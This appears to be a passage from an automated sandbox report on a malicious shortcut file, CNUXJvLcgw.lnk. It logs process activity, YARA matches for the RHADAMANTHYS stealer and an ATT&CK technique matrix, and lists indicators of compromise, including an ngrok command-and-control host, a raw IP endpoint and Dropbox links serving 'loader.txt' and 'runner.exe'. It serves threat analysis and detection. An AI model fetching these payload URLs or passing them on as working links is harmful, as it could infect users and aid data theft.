Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_0046A3FC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

28_2_0046A3FC

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: fontdrvhost.exe, 0000001E.00000002.1955576386.0000000003720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: fontdrvhost.exe, 0000001E.00000002.1955576386.0000000003720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001D.00000003.1854399183.0000000002990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1955063802.00000000031B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.1859127404.0000000000ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1865951249.0000000002B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001D.00000003.1854399183.0000000002990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1955063802.00000000031B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.1859127404.0000000000ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1865951249.0000000002B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	3 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	3 Windows Service	111 Process Injection	4 Obfuscated Files or Information	Security Account Manager	134 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CNUXJvLcgw.lnk	24%	ReversingLabs	Win32.Trojan.Pantera
CNUXJvLcgw.lnk	41%	Virustotal		Browse
CNUXJvLcgw.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://permanently-removed.invalid/LogoutYxABzenH	0%	Avira URL Cloud	safe
http://dropbox.c	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.n	0%	Avira URL Cloud	safe
https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0ddX	0%	Avira URL Cloud	safe
http://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd	0%	Avira URL Cloud	safe
http://PnpDevice.Format.ps1xmlShel	0%	Avira URL Cloud	safe
https://ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd	0%	Avira URL Cloud	safe
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza	0%	Avira URL Cloud	safe
https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com/cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFN	0%	Avira URL Cloud	safe
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa3	0%	Avira URL Cloud	safe
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd-UseBasicPars	0%	Avira URL Cloud	safe
https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
23glcrtmzxqgwfpq3oujitt.ngrok.pizza	3.125.102.39	true	true	unknown
clients2.googleusercontent.com	unknown	unknown	false	high
uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com	unknown	unknown	true	unknown
bzib.nelreports.net	unknown	unknown	false	high
ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high
cfl.dropboxstatic.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd	true	Avira URL Cloud: safe	unknown
https://www.dropbox.com/log/ux_analytics	false		high
https://www.dropbox.com/scl/fi/l080falpmqnxrd0e4zb2u/loader.txt?rlkey=d7n6vctas1qob3kqdiqef7ydc&dl=1	false		high
https://www.dropbox.com/2/pap_event_logging/log_events	false		high
https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop	true	Avira URL Cloud: safe	unknown
https://www.dropbox.com/log_js_sw_data	false		high
https://c.contentsquare.net/pageview?ex=&pvt=n&la=en-GB&uc=0&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&dr=&dw=1280&dh=1024&ww=1280&wh=1024&sw=1280&sh=1024&uu=c480ecee-58fe-ab6f-a297-56b61f444401&sn=1&hd=1734612301&v=15.36.2&pid=5416&pn=1&r=352634	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	false		high
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd	true	Avira URL Cloud: safe	unknown
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf&request_id=d23cbb1880f84f85afefc10443038bea&time=1734612274	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.microsoft	powershell.exe, 00000003.00000002.1605780706.000001FB35295000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dropbox.com	powershell.exe, 00000016.00000002.1711359093.0000024491A90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://23glcrtmzxqgwfpq3oujitt.n	powershell.exe, 00000016.00000002.1711359093.0000024492133000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491F1D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://app.hellosign.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/d	powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.docsend.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dropbox.com/	powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://office.net/	msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1567473604.000001FB1D081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkj	powershell.exe, 00000016.00000002.1775562293.00000244A8B16000.00000004.00000020.00020000.00000000.sdmp	false		high
